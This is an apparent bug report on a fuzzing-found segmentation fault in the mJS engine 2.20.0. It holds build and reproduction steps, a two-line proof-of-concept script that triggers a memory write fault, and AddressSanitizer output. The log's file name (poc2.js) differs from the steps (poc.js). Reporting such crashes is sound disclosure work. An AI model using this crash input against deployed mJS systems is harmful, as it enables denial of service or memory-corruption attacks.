SEGV /mjs/mjs.c:13957 in mjs_fprintf

[Vincebye]

Environment

Ubuntu 22.04.3 LTS

Affected Version

MJS 2.20.0

Step to reproduce

cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 
./mjs-bin -f poc.js 

Run the poc.js 10~30 times

Contents of PoCfile

print++;
print(1)

ASAN Report

$ ./mjs-bin poc2.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==20076==ERROR: AddressSanitizer: SEGV on unknown address 0x000091f925c8 (pc 0x561254bf716e bp 0x00008fcd2f20 sp 0x00008fcd2e40 T0)
==20076==The signal is caused by a WRITE memory access.
    #0 0x561254bf716e in mjs_fprintf /home/v/jse/mjs/mjs.c:13957
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/v/jse/mjs/mjs.c:13957 in mjs_fprintf
==20076==ABORTING